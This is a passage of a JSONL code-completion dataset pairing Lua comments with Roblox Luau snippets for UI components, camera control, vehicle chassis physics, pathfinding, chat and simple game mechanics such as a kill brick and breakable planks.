self.props.controls,\n\t\t\t\t\tisEditing = self.state.isEditing,\n\t\t\t\t\ttoggleEdit = self.toggleEdit,\n\t\t\t\t\tshowStatusError = self.state.showStatusError,\n\t\t\t\t\tupdateViewToKeyboard = self.updateViewToKeyboard,\n\t\t\t\t}),\n\t\t\t}),\n\t\t\tExternalEventConnection = Roact.createElement(ExternalEventConnection, {\n\t\t\t\tevent = UserInputService.InputBegan, -- Maybe use Touch/Tap in world, specifically for mobile\n\t\t\t\tcallback = self.onInputBegan,\n\t\t\t}),\n\t\t\t-- Creates a blur effect when editing\n\t\t\tBlurEffectPortal = self.state.isEditing and self.props.configuration.showBlur and Roact.createElement(\n\t\t\t\tRoact.Portal,\n\t\t\t\t{ target = self.props.Camera },\n\t\t\t\t{ BlurEffect = Roact.createElement(\"BlurEffect\") }\n\t\t\t),\n\t\t}),\n\t\tPersonalIndicator = Roact.createElement(self.props.PulsePrompt, {\n\t\t\tPlayers = Players,\n\t\t\tadornee = self.props.adornee,\n\t\t\tisEnabled = self.state.showPrompt,\n\t\t\tuserId = Players.LocalPlayer.UserId,\n\t\t}),\n\t})\nend\n\nfunction ProfileCard:didMount()\n\tUserInputService.LastInputTypeChanged:Connect(function(lastInputType)\n\t\tif table.find(gamepadInputs, lastInputType) ~= nil then\n\t\t\tself:setState({\n\t\t\t\tactiveGamepad = true,\n\t\t\t\tisEditing = false,\n\t\t\t\tshowStatusError = false,\n\t\t\t\tviewType = ViewTypes.OriginalView,\n\t\t\t})\n\t\t\tself.setHumanoidMovementEnabled(true)\n\t\t\tself.props.Camera.CameraType = Enum.CameraType.Custom\n\t\t\treturn\n\t\tend\n\t\t\n\t\tif self.state.activeGamepad then\n\t\t\tself:setState({ activeGamepad = false })\n\t\tend\n\tend)\nend\n\nfunction ProfileCard:didUpdate(prevProps)\n\tif self.state.userId then\n\t\tself.profileCard:getValue():SetAttribute(\"ShowInProfileCard\", true)\n\t\t\n\t\t-- Hide the Profile Card from view once it leaves the screen\n\t\tlocal adornee = self.getAdornee(self.props.Players:GetPlayerByUserId(self.state.userId))\n\t\tlocal adorneeOffset = self.determineStudOffset(self.Adornee)\n\n\t\tcoroutine.wrap(function(object)\n\t\t\tlocal inViewport = self.checkViewport(object.Position)\n\t\t\twhile inViewport and object do\n\t\t\t\twait(1)\n\t\t\t\t\n\t\t\t\tlocal newCFrame = object.CFrame\n\t\t\t\tnewCFrame = newCFrame * CFrame.new(adorneeOffset)\n\t\t\t\tinViewport = self.checkViewport(object.Position)\n\t\t\tend\n\t\t\tself.unmount()\n\t\tend)(adornee)\n\tend\nend\n\nreturn withConfiguration(ProfileCard)\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\tThis.Display.ARW1.U.Transparency = 0\n\t\tThis.Display.ARW1.D.Transparency = 1\n\t\tThis.Display.ARW1.M.Transparency = 0\n elseif val == -1 then\n\t\tThis.Display.ARW1.U.Transparency = 1\n\t\tThis.Display.ARW1.D.Transparency = 0\n\t\tThis.Display.ARW1.M.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.U.Transparency = 1\n\t\tThis.Display.ARW1.D.Transparency = 1\n\t\tThis.Display.ARW1.M.Transparency = 1\n end\nend)\n"} +{"prompt": "-- How many times per second the gun can fire", "completion": "\nlocal FireRate = 1 / 1.33"} +{"prompt": "-- Signal class", "completion": "\nlocal Signal = {}\nSignal.__index = Signal\n\nfunction Signal.new()\n\treturn setmetatable({\n\t\t_handlerListHead = false,\t\n\t}, Signal)\nend\n\nfunction Signal:Connect(fn)\n\tlocal connection = Connection.new(self, fn)\n\tif self._handlerListHead then\n\t\tconnection._next = self._handlerListHead\n\t\tself._handlerListHead = connection\n\telse\n\t\tself._handlerListHead = connection\n\tend\n\treturn connection\nend\n"} +{"prompt": "--connect", "completion": "\nTool.Equipped:connect(onEquipped)\nTool.Unequipped:connect(onUnequipped)\nRemote.OnClientEvent:connect(onRemote)\n"} +{"prompt": "-- ROBLOX DEVIATION: Initialize state to a singleton that warns on access and errors on assignment\n-- initial state singleton", "completion": "\nlocal UninitializedState = {}\n\nsetmetatable(UninitializedState, {\n\t__index = function(table, key)\n\t\tif _G.__DEV__ then\n\t\t\tconsole.warn(\n\t\t\t\t\"Attempted to access uninitialized state. Use setState to initialize state\"\n\t\t\t)\n\t\tend\n\t\treturn nil\n\tend,\n\t__newindex = function(table, key)\n\t\tif _G.__DEV__ then\n\t\t\tconsole.error(\n\t\t\t\t\"Attempted to directly mutate state. Use setState to assign new values to state.\"\n\t\t\t)\n\t\tend\n\t\treturn nil\n\tend,\n\t__tostring = function(self)\n\t\treturn \"\"\n\tend,\n\t__metatable = \"UninitializedState\",\n})\n\nreturn UninitializedState\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nlocal Package = require(PackageIndex[\"DevModuleInstaller\"][\"DevModuleInstaller\"])\n\nreturn Package\n"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--///////////////////////////////////////////////// Code to hook client UI up to server events\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\n\nfunction DoChatBarFocus()\n\tif (not ChatWindow:GetCoreGuiEnabled()) then return end\n\tif (not ChatBar:GetEnabled()) then return end\n\n\tif (not ChatBar:IsFocused() and ChatBar:GetVisible()) then\n\t\tmoduleApiTable:SetVisible(true)\n\t\tInstantFadeIn()\n\t\tChatBar:CaptureFocus()\n\t\tmoduleApiTable.ChatBarFocusChanged:fire(true)\n\tend\nend\n\nchatBarFocusChanged.Event:connect(function(focused)\n\tmoduleApiTable.ChatBarFocusChanged:fire(focused)\nend)\n\nfunction DoSwitchCurrentChannel(targetChannel)\n\tif (ChatWindow:GetChannel(targetChannel)) then\n\t\tChatWindow:SwitchCurrentChannel(targetChannel)\n\tend\nend\n\nfunction SendMessageToSelfInTargetChannel(message, channelName, extraData)\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tlocal messageData = {\n\t\t\tID = -1,\n\t\t\tFromSpeaker = nil,\n\t\t\tSpeakerUserId = 0,\n\t\t\tOriginalChannel = channelName,\n\t\t\tIsFiltered = true,\n\t\t\tMessageLength = string.len(message),\n\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),\n\t\t\tMessage = trimTrailingSpaces(message),\n\t\t\tMessageType = ChatConstants.MessageTypeSystem,\n\t\t\tTime = os.time(),\n\t\t\tExtraData = extraData,\n\t\t}\n\n\t\tchannelObj:AddMessageToChannel(messageData)\n\tend\nend\n\nfunction chatBarFocused()\n\tif (not mouseIsInWindow) then\n\t\tDoBackgroundFadeIn()\n\t\tif (textIsFaded) then\n\t\t\tDoTextFadeIn()\n\t\tend\n\tend\n\n\tchatBarFocusChanged:Fire(true)\nend\n"} +{"prompt": "--Made by SinisterAlex", "completion": "\nfunction onTouched(part)\n\n\tlocal h = part.Parent:findFirstChild(\"Humanoid\") or part.Parent:findFirstChild(\"Zombie\")\n\n\tif h~=nil then\n\nwait(0.001)\nh.Health = 0\nchildren = h.Parent:children()\npart.Parent:findFirstChild(\"Head\").BrickColor = BrickColor.new(\"Bright red\")\npart.Parent:findFirstChild(\"Torso\").BrickColor = BrickColor.new(\"Bright red\")\npart.Parent:findFirstChild(\"Left Arm\").BrickColor = BrickColor.new(\"Bright red\")\npart.Parent:findFirstChild(\"Right Arm\").BrickColor = BrickColor.new(\"Bright red\")\npart.Parent:findFirstChild(\"Left Leg\").BrickColor = BrickColor.new(\"Bright red\") \npart.Parent:findFirstChild(\"Right Leg\").BrickColor = BrickColor.new(\"Bright red\")\n\npart.Parent:findFirstChild(\"Head\").Material = \"Plastic\"\npart.Parent:findFirstChild(\"Torso\").Material = \"Plastic\"\npart.Parent:findFirstChild(\"Left Arm\").Material = \"Plastic\"\npart.Parent:findFirstChild(\"Right Arm\").Material = \"Plastic\"\npart.Parent:findFirstChild(\"Left Leg\").Material = \"Plastic\"\npart.Parent:findFirstChild(\"Right Leg\").Material = \"Plastic\"\n\nwait(1)\n\n\n\tfor i=1,#children do\n\n\t\tif(children[i].className == \"Part\" and children[i].Name ~= \"Torso\") then stick(children[i], h.Parent.Torso) end\n\n\t\tif(children[i].className == \"Hat\") then stick(children[i].Handle, h.Parent.Torso) end\n\n\tend\n\n\tend\n\n\nend\n\n\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)\n\nEffects.ChildAdded:connect(function(ch)\n\tif ch.Name == \"Swimming\" then\n\t\tpose = \"Running\"\n\tend\nend)\n"} +{"prompt": "-- \t-- All lines up to what looks like a stack -- or if nothing looks like a stack\n-- \t-- (maybe it's a code frame instead), just the first non-empty line.\n-- \t-- If the error is a plain \"Error:\" instead of a SyntaxError or TypeError we\n-- \t-- remove the prefix from the message because it is generally not useful.\n-- \tlocal re = RegExp([=[^(?:Error: )?([\\s\\S]*?(?=\\n\\s*at\\s.*:\\d*:\\d*)|\\s*.*)([\\s\\S]*)$]=])\n-- \tlocal messageMatch = re:exec(content)\n-- \tif not messageMatch then\n-- \t\t-- For typescript\n-- \t\terror('If you hit this error, the regex above is buggy.')\n-- \tend\n-- \tlocal message = removeBlankErrorLine(messageMatch[2])\n-- \tlocal stack = removeBlankErrorLine(messageMatch[3])\n-- \treturn {message = message, stack = stack}\n-- end", "completion": "\n\nreturn {\n\tformatStackTrace = formatStackTrace,\n\tgetStackTraceLines = getStackTraceLines,\n\t-- separateMessageFromStack = separateMessageFromStack\n}\n"} +{"prompt": "--Set target steering position based on current velocity", "completion": "\nfunction Chassis.UpdateSteering(steer, currentVel)\n\tlocal baseSteer = steer\n\tlocal targetSteer = 0\n\n\tlocal vehicleSeat = Chassis.GetDriverSeat()\n\tlocal maxSpeed = VehicleParameters.MaxSpeed\n\tlocal maxSteer = VehicleParameters.MaxSteer\n\n\tlocal currentVelocity = vehicleSeat.Velocity\n\n\tif LimitSteerAtHighVel then\n\t\tlocal c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1\n\t\t--decrease steer value as speed increases to prevent tipping (handbrake cancels this)\n\t\tsteer = steer/c\n\tend\n\tSteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer\nend\n\nfunction Chassis.UpdateThrottle(currentSpeed, throttle)\n\tlocal targetVel = 0\n\tlocal effectsThrottleState = false\n\tlocal gainModifier = 0\n\n\tif math.abs(throttle) < 0.1 then\n\t\t-- Idling\n\t\tsetMotorMaxAcceleration(math.huge)\n\t\tsetMotorTorque(2000)\n\telseif math.sign(throttle * currentSpeed) > 0 or math.abs(currentSpeed) < 0.5 then\n\t\tsetMotorMaxAcceleration(math.huge)\n\n\t\tlocal velocity = Chassis.driverSeat.Velocity\n\t\tlocal velocityVector = velocity.Unit\n\t\tlocal directionalVector = Chassis.driverSeat.CFrame.lookVector\n\t\tlocal dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0\n\n\t\tsetMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle))\n\t\t-- Arbitrary large number\n\t\tlocal movingBackwards = dotProd < 0\n\t\tlocal acceleratingBackwards = throttle < 0\n\t\tlocal useReverse = (movingBackwards and acceleratingBackwards)\n\n\t\tlocal maxSpeed = (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed)\n\t\ttargetVel = math.sign(throttle) * maxSpeed\n\n\t\t-- if we are approaching max speed, we should take that as an indication of throttling down, even if not from input\n\t\tlocal maxAccelSpeed = targetVel\n\t\tlocal speedPercent = ((maxAccelSpeed-currentSpeed)/maxAccelSpeed) -- 0 if max speed, 1 if stopped\n\n\t\t-- lets say we start throttling down after reaching 75% of max speed, then linearly drop to 0\n\t\tlocal function quad(x)\n\t\t\treturn math.sign(x)*(x^2)\n\t\tend\n\n\n\t\tlocal r = math.abs(velocity.Magnitude / maxSpeed*2.5) -- adding a bit to the max speed so that it sounds better (always trying to rev engines)\n\t\tlocal desiredRPM = math.exp(-3*r*r)\n\n\n\t\tgainModifier = desiredRPM\n\n\t\tif gainModifier > 0 then\n\t\t\teffectsThrottleState = true\n\t\tend\n\telse\n\t\t-- Braking\n\t\tsetMotorMaxAcceleration(100)\n\t\tsetMotorTorque(ActualBrakingTorque * throttle * throttle)\n\t\ttargetVel = math.sign(throttle) * 500\n\tend\n\n\tChassis.SetMotorVelocity(targetVel)\n\n\tEffects:SetThrottleEnabled(effectsThrottleState, gainModifier)\n\nend\n\nlocal redressingState = false\nlocal targetAttachment\nfunction Chassis.Redress()\n\tif redressingState then\n\t\treturn\n\tend\n\tredressingState = true\n\tlocal p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 )\n\tlocal xc = Chassis.driverSeat.CFrame.RightVector\n\txc = Vector3.new(xc.x,0,xc.z)\n\txc = xc.Unit\n\tlocal yc = Vector3.new(0,1,0)\n\n\tif not targetAttachment then\n\t\ttargetAttachment = RedressMount.RedressTarget\n\tend\n\n\ttargetAttachment.Parent = Workspace.Terrain\n\ttargetAttachment.Position = p\n\ttargetAttachment.Axis = xc\n\ttargetAttachment.SecondaryAxis = yc\n\tRedressMount.RedressOrientation.Enabled = true\n\tRedressMount.RedressPosition.Enabled = true\n\twait(1.5)\n\tRedressMount.RedressOrientation.Enabled = false\n\tRedressMount.RedressPosition.Enabled = false\n\ttargetAttachment.Parent = RedressMount\n\twait(2)\n\tredressingState = false\nend\n\nfunction Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle)\n\tChassis.UpdateThrottle(1, 1) --Values must be changed to replicate to client.\n\tChassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients\n\tChassis.EnableHandbrake()\n\tsetMotorTorque(ActualBrakingTorque)\n\tChassis.SetMotorVelocity(0)\n\tChassis.UpdateSteering(0, 0)\n\tRedressMount.RedressOrientation.Enabled = true\n\tRedressMount.RedressPosition.Enabled = true\n\tRedressMount.RedressOrientation.Enabled = false\n\tRedressMount.RedressPosition.Enabled = false\n\tredressingState = false\nend\n\nreturn Chassis\n"} +{"prompt": "--Supercharger", "completion": "\nlocal Whine_Pitch = 1.4\t\t--max pitch of the whine (not exact so might have to mess with it)\n"} +{"prompt": "--- These are the IDs of possible blood textures, I already set 3 up for u k", "completion": "\n\nlocal blood_textures = {\n\t408399602,\n\t502143538,\n\t508050784\n}\n\n"} +{"prompt": "--Set up the touched connection.", "completion": "\nTouchConnection = SlingshotBall.Touched:Connect(function(TouchPart)\n\tSlingshotBallHit(TouchPart)\nend)\n"} +{"prompt": "------------------------------------------------------------------------\n-- save current character into token buffer, grabs next character\n-- * like luaX:nextc, returns the character read for convenience\n------------------------------------------------------------------------", "completion": "\nfunction luaX:save_and_next(ls)\n self:save(ls, ls.current)\n return self:nextc(ls)\nend\n"} +{"prompt": "--[[\n\tIndex into `Event` to get a prop key for attaching to an event on a Roblox\n\tInstance.\n\n\tExample:\n\n\t\tRoact.createElement(\"TextButton\", {\n\t\t\tText = \"Hello, world!\",\n\n\t\t\t[Roact.Event.MouseButton1Click] = function(rbx)\n\t\t\t\tprint(\"Clicked\", rbx)\n\t\t\tend\n\t\t})\n]]", "completion": "\n\nlocal Type = require(script.Parent.Parent.Type)\n\nlocal Event = {}\n\nlocal eventMetatable = {\n\t__tostring = function(self)\n\t\treturn (\"RoactHostEvent(%s)\"):format(self.name)\n\tend,\n}\n\nsetmetatable(Event, {\n\t__index = function(_self, eventName)\n\t\tlocal event = {\n\t\t\t[Type] = Type.HostEvent,\n\t\t\tname = eventName,\n\t\t}\n\n\t\tsetmetatable(event, eventMetatable)\n\n\t\tEvent[eventName] = event\n\n\t\treturn event\n\tend,\n})\n\nreturn Event\n"} +{"prompt": "-- Local private variables and constants", "completion": "\nlocal UNIT_Z = Vector3.new(0,0,1)\nlocal X1_Y0_Z1 = Vector3.new(1,0,1)\t--Note: not a unit vector, used for projecting onto XZ plane\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal TAU = 2 * math.pi\n"} +{"prompt": "--- Validates that the argument will work without any type errors.", "completion": "\nfunction Argument:Validate(isFinal)\n\tif self.RawValue == nil or #self.RawValue == 0 and self.Required == false then\n\t\treturn true\n\tend\n\n\tif self.Type.Validate or self.Type.ValidateOnce then\n\t\tfor i = 1, #self.TransformedValues do\n\t\t\tif self.Type.Validate then\n\t\t\t\tlocal valid, errorText = self.Type.Validate(self:GetTransformedValue(i))\n\n\t\t\t\tif not valid then\n\t\t\t\t\treturn valid, errorText or \"Invalid value\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif isFinal and self.Type.ValidateOnce then\n\t\t\t\tlocal validOnce, errorTextOnce = self.Type.ValidateOnce(self:GetTransformedValue(i))\n\n\t\t\t\tif not validOnce then\n\t\t\t\t\treturn validOnce, errorTextOnce\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\telse\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--[[ Functions overridden from BaseCamera ]]", "completion": "--\nfunction LegacyCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\treturn BaseCamera.SetCameraToSubjectDistance(self,desiredSubjectDistance)\nend\n\nfunction LegacyCamera:Update(dt)\n\n\t-- Cannot update until cameraType has been set\n\tif not self.cameraType then return end\n\n\tlocal now = tick()\n\tlocal timeDelta = (now - self.lastUpdate)\n\tlocal camera = \tworkspace.CurrentCamera\n\tlocal newCameraCFrame = camera.CFrame\n\tlocal newCameraFocus = camera.Focus\n\tlocal player = PlayersService.LocalPlayer\n\n\tif self.lastUpdate == nil or timeDelta > 1 then\n\t\tself.lastDistanceToSubject = nil\n\tend\n\tlocal subjectPosition = self:GetSubjectPosition()\n\n\tif self.cameraType == Enum.CameraType.Fixed then\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector = self:CalculateNewLookVectorFromArg(nil, CameraInput.getRotation())\n\n\t\t\tnewCameraFocus = camera.Focus -- Fixed camera does not change focus\n\t\t\tnewCameraCFrame = CFrame.new(camera.CFrame.p, camera.CFrame.p + (distanceToSubject * newLookVector))\n\t\tend\n\n\telseif self.cameraType == Enum.CameraType.Attach then\n\t\tlocal subjectCFrame = self:GetSubjectCFrame()\n\t\tlocal cameraPitch = camera.CFrame:ToEulerAnglesYXZ()\n\t\tlocal _, subjectYaw = subjectCFrame:ToEulerAnglesYXZ()\n\t\t\n\t\tcameraPitch = math.clamp(cameraPitch - CameraInput.getRotation().Y, -PITCH_LIMIT, PITCH_LIMIT)\n\t\t\n\t\tnewCameraFocus = CFrame.new(subjectCFrame.p)*CFrame.fromEulerAnglesYXZ(cameraPitch, subjectYaw, 0)\n\t\tnewCameraCFrame = newCameraFocus*CFrame.new(0, 0, self:StepZoom())\n\n\telseif self.cameraType == Enum.CameraType.Watch then\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal cameraLook = nil\n\n\t\t\tif subjectPosition == camera.CFrame.p then\n\t\t\t\twarn(\"Camera cannot watch subject in same position as itself\")\n\t\t\t\treturn camera.CFrame, camera.Focus\n\t\t\tend\n\n\t\t\tlocal humanoid = self:GetHumanoid()\n\t\t\tif humanoid and humanoid.RootPart then\n\t\t\t\tlocal diffVector = subjectPosition - camera.CFrame.p\n\t\t\t\tcameraLook = diffVector.unit\n\n\t\t\t\tif self.lastDistanceToSubject and self.lastDistanceToSubject == self:GetCameraToSubjectDistance() then\n\t\t\t\t\t-- Don't clobber the zoom if they zoomed the camera\n\t\t\t\t\tlocal newDistanceToSubject = diffVector.magnitude\n\t\t\t\t\tself:SetCameraToSubjectDistance(newDistanceToSubject)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector = self:CalculateNewLookVectorFromArg(cameraLook, CameraInput.getRotation())\n\n\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tnewCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)\n\n\t\t\tself.lastDistanceToSubject = distanceToSubject\n\t\tend\n\telse\n\t\t-- Unsupported type, return current values unchanged\n\t\treturn camera.CFrame, camera.Focus\n\tend\n\n\tself.lastUpdate = now\n\treturn newCameraCFrame, newCameraFocus\nend\n\nreturn LegacyCamera\n"} +{"prompt": "--wood", "completion": "\nfor i, x in pairs(game.Workspace.ActivationThings.Other.WoodPlanks:GetChildren()) do\n\tif x:IsA(\"BasePart\") then\n\t\tx.Touched:Connect(function(hit)\n\t\t\tif deb then return end\n\t\t\tif hit and hit.Parent and hit.Parent.Parent and hit.Parent.Parent:IsDescendantOf(workspace.Carts) \n\t\t\t\tor hit and hit.Parent and hit.Parent.Parent.Parent and hit.Parent.Parent.Parent:IsDescendantOf(workspace.Carts) then\t\n\t\t\t\tdeb = true\n\t\t\t\tfor i, v in pairs(x.Parent:GetChildren()) do\n\t\t\t\t\tif v:IsA(\"Sound\") then\n\t\t\t\t\t\tv:Play() continue\n\t\t\t\t\tend\n\t\t\t\t\tlocal lastPos = v.CFrame\n\t\t\t\t\tv.Anchored = false\n\n\t\t\t\t\tlocal function fade(part: BasePart)\n\t\t\t\t\t\tfor i = 1, 10 do\n\t\t\t\t\t\t\tpart.Transparency = i / 10\n\t\t\t\t\t\t\tif part.Transparency == 1 then\n\t\t\t\t\t\t\t\tpart.CanCollide = false\n\t\t\t\t\t\t\t\twait(2)\n\t\t\t\t\t\t\t\tpart.Anchored = true\n\t\t\t\t\t\t\t\tpart.Transparency = 0\n\t\t\t\t\t\t\t\twait(8)\n\t\t\t\t\t\t\t\tgame:GetService(\"TweenService\"):Create(part, TweenInfo.new(1), {CFrame = lastPos}):Play()\n\t\t\t\t\t\t\t\tpart.CanCollide = true\n\t\t\t\t\t\t\t\tpart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)\n\t\t\t\t\t\t\t\twait(1)\n\t\t\t\t\t\t\t\tif deb then\n\t\t\t\t\t\t\t\t\tdeb = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twait(0.1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttask.delay(3, function()\n\t\t\t\t\t\tcoroutine.wrap(fade)(v)\n\t\t\t\t\tend)\n\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "-----------------------------------PATHER--------------------------------------", "completion": "\n\nlocal function Pather(endPoint, surfaceNormal, overrideUseDirectPath: boolean?)\n\tlocal this = {}\n\n\tlocal directPathForHumanoid\n\tlocal directPathForVehicle\n\tif overrideUseDirectPath ~= nil then\n\t\tdirectPathForHumanoid = overrideUseDirectPath\n\t\tdirectPathForVehicle = overrideUseDirectPath\n\telse\n\t\tdirectPathForHumanoid = UseDirectPath\n\t\tdirectPathForVehicle = UseDirectPathForVehicle\n\tend\n\n\tthis.Cancelled = false\n\tthis.Started = false\n\n\tthis.Finished = Instance.new(\"BindableEvent\")\n\tthis.PathFailed = Instance.new(\"BindableEvent\")\n\n\tthis.PathComputing = false\n\tthis.PathComputed = false\n\n\tthis.OriginalTargetPoint = endPoint\n\tthis.TargetPoint = endPoint\n\tthis.TargetSurfaceNormal = surfaceNormal\n\n\tthis.DiedConn = nil\n\tthis.SeatedConn = nil\n\tthis.BlockedConn = nil\n\tthis.TeleportedConn = nil\n\n\tthis.CurrentPoint = 0\n\n\tthis.HumanoidOffsetFromPath = ZERO_VECTOR3\n\n\tthis.CurrentWaypointPosition = nil \n\tthis.CurrentWaypointPlaneNormal = ZERO_VECTOR3\n\tthis.CurrentWaypointPlaneDistance = 0\n\tthis.CurrentWaypointNeedsJump = false;\n\n\tthis.CurrentHumanoidPosition = ZERO_VECTOR3\n\tthis.CurrentHumanoidVelocity = 0 :: Vector3 | number\n\n\tthis.NextActionMoveDirection = ZERO_VECTOR3\n\tthis.NextActionJump = false\n\n\tthis.Timeout = 0\n\n\tthis.Humanoid = findPlayerHumanoid(Player)\n\tthis.OriginPoint = nil\n\tthis.AgentCanFollowPath = false\n\tthis.DirectPath = false\n\tthis.DirectPathRiseFirst = false\n\n\tlocal rootPart: BasePart = this.Humanoid and this.Humanoid.RootPart\n\tif rootPart then\n\t\t-- Setup origin\n\t\tthis.OriginPoint = rootPart.CFrame.p\n\n\t\t-- Setup agent\n\t\tlocal agentRadius = 2\n\t\tlocal agentHeight = 5\n\t\tlocal agentCanJump = true\n\n\t\tlocal seat = this.Humanoid.SeatPart\n\t\tif seat and seat:IsA(\"VehicleSeat\") then\n\t\t\t-- Humanoid is seated on a vehicle\n\t\t\tlocal vehicle = seat:FindFirstAncestorOfClass(\"Model\")\n\t\t\tif vehicle then\n\t\t\t\t-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.\n\t\t\t\tlocal tempPrimaryPart = vehicle.PrimaryPart\n\t\t\t\tvehicle.PrimaryPart = seat\n\n\t\t\t\t-- For now, only direct path\n\t\t\t\tif directPathForVehicle then\n\t\t\t\t\tlocal extents: Vector3 = vehicle:GetExtentsSize()\n\t\t\t\t\tagentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)\n\t\t\t\t\tagentHeight = AgentSizeIncreaseFactor * extents.Y\n\t\t\t\t\tagentCanJump = false\n\t\t\t\t\tthis.AgentCanFollowPath = true\n\t\t\t\t\tthis.DirectPath = directPathForVehicle\n\t\t\t\tend\n\n\t\t\t\t-- Reset PrimaryPart\n\t\t\t\tvehicle.PrimaryPart = tempPrimaryPart\n\t\t\tend\n\t\telse\n\t\t\tlocal extents: Vector3?\n\t\t\tif FFlagUserExcludeNonCollidableForPathfinding then\n\t\t\t\tlocal character: Model? = GetCharacter()\n\t\t\t\tif character ~= nil then\n\t\t\t\t\textents = getCollidableExtentsSize(character)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif extents == nil then\n\t\t\t\textents = GetCharacter():GetExtentsSize()\n\t\t\tend\n\t\t\tagentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)\n\t\t\tagentHeight = AgentSizeIncreaseFactor * extents.Y\n\t\t\tagentCanJump = (this.Humanoid.JumpPower > 0)\n\t\t\tthis.AgentCanFollowPath = true\n\t\t\tthis.DirectPath = directPathForHumanoid :: boolean\n\t\t\tthis.DirectPathRiseFirst = this.Humanoid.Sit\n\t\tend\n\n\t\t-- Build path object\n\t\tthis.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})\n\tend\n\n\tfunction this:Cleanup()\n\t\tif this.stopTraverseFunc then\n\t\t\tthis.stopTraverseFunc()\n\t\t\tthis.stopTraverseFunc = nil\n\t\tend\n\n\t\tif this.MoveToConn then\n\t\t\tthis.MoveToConn:Disconnect()\n\t\t\tthis.MoveToConn = nil\n\t\tend\n\n\t\tif this.BlockedConn then\n\t\t\tthis.BlockedConn:Disconnect()\n\t\t\tthis.BlockedConn = nil\n\t\tend\n\n\t\tif this.DiedConn then\n\t\t\tthis.DiedConn:Disconnect()\n\t\t\tthis.DiedConn = nil\n\t\tend\n\n\t\tif this.SeatedConn then\n\t\t\tthis.SeatedConn:Disconnect()\n\t\t\tthis.SeatedConn = nil\n\t\tend\n\n\t\tif this.TeleportedConn then\n\t\t\tthis.TeleportedConn:Disconnect()\n\t\t\tthis.TeleportedConn = nil\n\t\tend\n\n\t\tthis.Started = false\n\tend\n\n\tfunction this:Cancel()\n\t\tthis.Cancelled = true\n\t\tthis:Cleanup()\n\tend\n\n\tfunction this:IsActive()\n\t\treturn this.AgentCanFollowPath and this.Started and not this.Cancelled\n\tend\n\n\tfunction this:OnPathInterrupted()\n\t\t-- Stop moving\n\t\tthis.Cancelled = true\n\t\tthis:OnPointReached(false)\n\tend\n\n\tfunction this:ComputePath()\n\t\tif this.OriginPoint then\n\t\t\tif this.PathComputed or this.PathComputing then return end\n\t\t\tthis.PathComputing = true\n\t\t\tif this.AgentCanFollowPath then\n\t\t\t\tif this.DirectPath then\n\t\t\t\t\tthis.pointList = {\n\t\t\t\t\t\tPathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),\n\t\t\t\t\t\tPathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)\n\t\t\t\t\t}\n\t\t\t\t\tthis.PathComputed = true\n\t\t\t\telse\n\t\t\t\t\tthis.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)\n\t\t\t\t\tthis.pointList = this.pathResult:GetWaypoints()\n\t\t\t\t\tthis.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)\n\t\t\t\t\tthis.PathComputed = this.pathResult.Status == Enum.PathStatus.Success\n\t\t\t\tend\n\t\t\tend\n\t\t\tthis.PathComputing = 